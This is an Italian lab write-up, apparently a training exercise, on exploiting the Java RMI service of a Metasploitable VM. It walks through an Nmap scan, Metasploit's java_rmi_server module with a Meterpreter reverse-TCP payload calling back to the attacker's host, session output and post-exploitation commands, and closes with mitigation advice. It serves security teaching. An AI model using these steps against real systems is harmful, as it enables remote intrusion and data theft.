

Exploit Java RMI

Nell'esercizio di oggi dobbiamo andare a sfruttare una vulnerabilità presente nella macchina Metasploitable, inerente al servizio Java RMI.

Per sfruttare tale vulnerabilità andremo ad usare un exploit (in inglese, appunto, sfruttare); un exploit è un tipo di programma che va proprio a sfruttare una vulnerabilità già presente in un sistema informatico per scopi di attacco (come accedere a dati riservati, assumere privilegi di amministratore in un sistema target, o installarvi codice malevolo). Quindi, a differenza dei malware, non crea esso stesso una vulnerabilità, ma appunto ne sfrutta una esistente.

Procediamo all'exploit iniziando prima di tutto con un ping per verificare che le due macchine (attaccante e vittima) possano comunicare. Una volta accertato questo, andiamo ad usare il programma Nmap per fare una scansione del sistema target ed individuare così le porte e i servizi attivi su Metasploitable. Possiamo procedere con una scansione aggressiva, che ci dà come risultato il maggior numero di informazioni possibili. Se fossimo stati dei black hat o avessimo saputo che la rete target non è molto stabile avremmo potuto usare un diverso tipo di scansione che offre Nmap, detta stealth, che riporta minori informazioni ma produce anche molto meno rumore.

```
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  a           Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open  exec       netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell      Netkit rshd
1099/tcp open  java-rmi   GNU Classpath grmiregistry
1524/tcp open  bindshell  Metasploitable root shell
2049/tcp open  nfs        2-4 (RPC #100003)
2121/tcp open  ftp        ProFTPD 1.3.1
3306/tcp open  mysql      MySQL 5.0.51a-3ubuntu5
```

Vediamo che la nostra scansione riporta il servizio Java RMI attivo sulla porta 1099 tcp.

Ora possiamo aprire il programma Metasploit per ricercare i possibili exploit da usare nel nostro attacco.

Metasploit ci riporta 4 possibili exploit:

#	Name	Disclosure Date	Rank	Che
ck	Description			
0	auxiliary/gather/java_rmi_registry Java RMI Registry Interfaces Enumeration		normal	No
1	exploit/multi/misc/java_rmi_server Java RMI Server Insecure Default Configuration Java Code Execution	2011-10-15	excellent	Yes
2	auxiliary/scanner/misc/java_rmi_server Java RMI Server Insecure Endpoint Code Execution Scanner	2011-10-15	normal	No
3	exploit/multi/browser/java_rmi_connection_impl Java RMIConnectionImpl Deserialization Privilege Escalation	2010-03-31	excellent	No

Nel nostro caso non ci serve un auxiliary exploit (è un tipo di exploit che svolge funzioni di supporto), quindi ci concentriamo sui moduli normali. Il modulo 1 riporta la dicitura "Server Insecure Default

Configuration”; potrebbe essere quello che fa al caso nostro, quindi lo selezioniamo con il comando *use* 1. Andiamo a controllare le opzioni di questo exploit e vediamo che per funzionare esso richiede l'indirizzo IP della macchina target. Inoltre vediamo anche che di default è già selezionato il payload *java/meterpreter/reverse_tcp*.

Il payload è la parte di un exploit che porta le istruzioni per andare ad eseguire il codice una volta penetrati nella macchina target. In questo caso andrebbe ad installare una reverse shell su Metasploitable, vale a dire una connessione che parte dalla macchina vittima e arriva a quella attaccante, permettendo così di bypassare un eventuale stateful firewall.

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):			
Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Andiamo a settare l'indirizzo IP di Metasploitable con il comando *set rhosts*.

Module options (exploit/multi/misc/java_rmi_server):			
Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Possiamo anche controllare quali altri payload Metasploit offre, tramite il comando *show payloads*. Ve ne sono in tutto 17, ma quello di default è quello più congeniale al nostro scopo.

Lanciamo quindi l'exploit con il comando *exploit* e vediamo che Metasploit crea la reverse shell su Metasploitable ed apre una sessione Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/BGBnE9tIjwaRK8l
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:54356) at 2023-11-10 11:06:22 +0100

meterpreter > 
```

Per assicurarci di essere effettivamente entrati in Metasploitable lanciamo il comando *ifconfig*, che ci restituisce l'indirizzo IP del sistema.

```
Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed1:5cd5
IPv6 Netmask : ::

Link encap:Ethernet HWaddr 08:00:27:d1:5c:d5
inet addr:192.168.11.112 Bcast:192.168.11.255
inet6 addr: fe80::a00:27ff:fed1:5cd5/64 Scope:
```

Come possiamo vedere, l'indirizzo IP riscontrato è proprio quello di Metasploitable. Possiamo fare un ulteriore controllo con il comando *sysinfo*, che ci riporta le informazioni di sistema.

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Infine usiamo il comando *route* per ottenere la tabella di routing di Metasploitable.

```
meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fed1:5cd5	::	::		

Il servizio Java RMI permette a processi Java di comunicare da remoto attraverso una rete; è un protocollo molto utile dal punto di vista dell'accessibilità ma questo comporta anche una sua vulnerabilità insita: come abbiamo visto, il servizio è facilmente sfruttabile per introdursi in un sistema target e crearvi una shell. Un criminale informatico potrebbe usare questa shell per eseguire comandi

da remoto come se fosse presente nella macchina vittima; potrebbe quindi navigare il suo file system e sottrarre informazioni riservate, accedere alle credenziali e ai dati personali dell'utente della macchina target, caricare codice malevolo come un ransomware. In alcuni casi un simile attacco può causare costi davvero ingenti ad un'azienda o un ente attaccato. Se il servizio non è normalmente utilizzato, è consigliabile disattivarlo. È tuttavia comprensibile che questa non sia un'opzione (per questioni di accessibilità), pertanto si suggerisce di mantenere sempre aggiornati i propri software e sistemi operativi, il firewall e l'antimalware, in modo da ridurre i rischi.